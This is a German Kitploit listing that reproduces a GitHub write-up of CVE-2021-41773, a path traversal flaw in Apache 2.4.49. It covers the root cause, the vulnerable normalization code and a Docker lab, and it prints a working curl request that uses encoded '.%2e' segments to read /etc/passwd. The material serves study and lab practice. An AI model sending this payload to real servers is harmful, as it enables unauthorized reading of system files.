Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-41773 — PoC und Analyse von CVE-2021-41773 | Kitploit
Tools/GitHubGitHub/tr3m0x/cve-2021-41773
SchwachstellenanalyseWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & BildungLabs & Praxis
GitHubtr3m0x/cve-2021-41773

CVE-2021-41773

PoC und Analyse von CVE-2021-41773

Repository anzeigen
6vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-41773 PoC — Apache HTTP Server Path Traversal

Übersicht

CVE-2021-41773 ist eine Path-Traversal-Schwachstelle, die den Apache HTTP Server 2.4.49 betrifft.

Die Schwachstelle ermöglicht es einem Angreifer, unter bestimmten Konfigurationen auf Dateien außerhalb des vorgesehenen Verzeichnisses zuzugreifen, insbesondere wenn Verzeichnisse über Alias, ScriptAlias oder andere Alias-ähnliche Direktiven freigegeben werden.

Die Schwachstelle beruht auf einer fehlerhaften Behandlung der URL-Pfadnormalisierung und -Kanonisierung. Apache führte Sicherheitsprüfungen an einer Pfaddarstellung durch, die weiterhin kodierte Zeichen enthalten konnte, sodass Angreifer die Traversal-Erkennung mithilfe kodierter Punktfolgen umgehen konnten.


Auswirkungen

Ein Angreifer kann eine manipulierte URL mit kodierten Traversal-Sequenzen wie:

root@kitploit:~
.%2e

erstellen, wobei:

root@kitploit:~
%2e = .

Daher wird:

root@kitploit:~
.%2e

nach der Dekodierung zu:

root@kitploit:~
..

Wenn Apache die kodierte Darstellung prüft, bevor er sie in ihre kanonische Form auflöst, kann die Traversal-Prüfung umgangen werden.

Tool herunterladen

Eine erfolgreiche Ausnutzung kann es einem Angreifer ermöglichen, beliebige Dateien aus dem Dateisystem zu lesen.

Beispielziel:

root@kitploit:~
/etc/passwd

Verwundbarer Code

Die verwundbare Logik befindet sich in:

root@kitploit:~
server/util.c

innerhalb von:

root@kitploit:~
ap_normalize_path()

Verwundbarer Code von Apache 2.4.49:

root@kitploit:~
if (path[l] == '.') {
    /* Remove /./ segments */
    if (IS_SLASH_OR_NUL(path[l + 1])) {
        l++;
        if (path[l]) {
            l++;
        }
        continue;
    }

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
             * if asked to.
             */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }

        /* Move l forward to the next segment */
        l += 2;
        if (path[l]) {
            l++;
        }
        continue;
    }
}

Root-Cause-Analyse

Der verwundbare Code versucht, Directory-Traversal-Muster zu erkennen:

root@kitploit:~
../

indem er auf aufeinanderfolgende Punkte prüft:

root@kitploit:~
path[l + 1] == '.'

Ein Angreifer kann jedoch eine kodierte Traversal-Sequenz bereitstellen:

root@kitploit:~
/.%2e/

Zum Zeitpunkt der Normalisierungsprüfung verarbeitet Apache:

root@kitploit:~
.%2e

anstelle von:

root@kitploit:~
..

Da:

root@kitploit:~
%2e != .

erkennt die Traversal-Erkennungslogik die Sequenz nicht als:

root@kitploit:~
../

Der Pfad wird anschließend in seiner dekodierten Form interpretiert, wodurch das Traversal ausgeführt werden kann.


Verwundbarer Verarbeitungsablauf

Das verwundbare Verhalten lässt sich wie folgt darstellen:

root@kitploit:~
HTTP Request

      |
      v

Path normalization / traversal validation

      |
      v

URL decoding / canonicalization

      |
      v

Filesystem access

Die Sicherheitsentscheidung wird getroffen, bevor der Pfad seine endgültige kanonische Darstellung erreicht.

Ein sichererer Ansatz ist:

root@kitploit:~
HTTP Request

      |
      v

URL decoding

      |
      v

Path normalization

      |
      v

Traversal validation

      |
      v

Filesystem access

Sicherheitsprüfungen sollten immer anhand der endgültig normalisierten Darstellung durchgeführt werden.


Laboraufbau

Repository klonen

root@kitploit:~
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773

Verwundbares Docker-Image erstellen

root@kitploit:~
docker build -t apache-cve-2021-41773 .

Verwundbaren Apache-Server starten

root@kitploit:~
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773

Ausnutzung

Senden Sie eine Anfrage mit einer kodierten Traversal-Sequenz:

root@kitploit:~
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

Eine erfolgreiche Ausnutzung gibt den Inhalt folgender Datei zurück:

root@kitploit:~
/etc/passwd

Beispiel:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash

Hinweis zu HTTP-403-Antworten

Eine 403 Forbidden-Antwort bedeutet nicht zwangsläufig, dass die Ausnutzung fehlgeschlagen ist.

Während des Tests kann Apache Folgendes erfolgreich normalisieren:

root@kitploit:~
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

zu:

root@kitploit:~
/etc/passwd

den Zugriff jedoch aufgrund von Dateisystemberechtigungen oder Apache-Autorisierungsregeln verweigern.

Beispiel:

root@kitploit:~
client denied by server configuration: /etc/passwd

Dies deutet darauf hin, dass das Traversal erfolgreich ausgeführt wurde, die Zugriffskontrolle die Offenlegung der Datei jedoch verhindert hat.


Wichtigste Erkenntnis

CVE-2021-41773 ist ein klassisches Beispiel für eine Kanonisierungsschwachstelle.

Benutzergesteuerte Eingaben können mehrere Darstellungen haben:

root@kitploit:~
.%2e

und:

root@kitploit:~
..

Obwohl sie unterschiedlich aussehen, repräsentieren sie dieselbe Pfadkomponente.

Sicherheitsprüfungen müssen immer nach der Dekodierung und Normalisierung durchgeführt werden. Die Validierung einer kodierten oder mehrdeutigen Darstellung kann zu Sicherheitsumgehungen führen.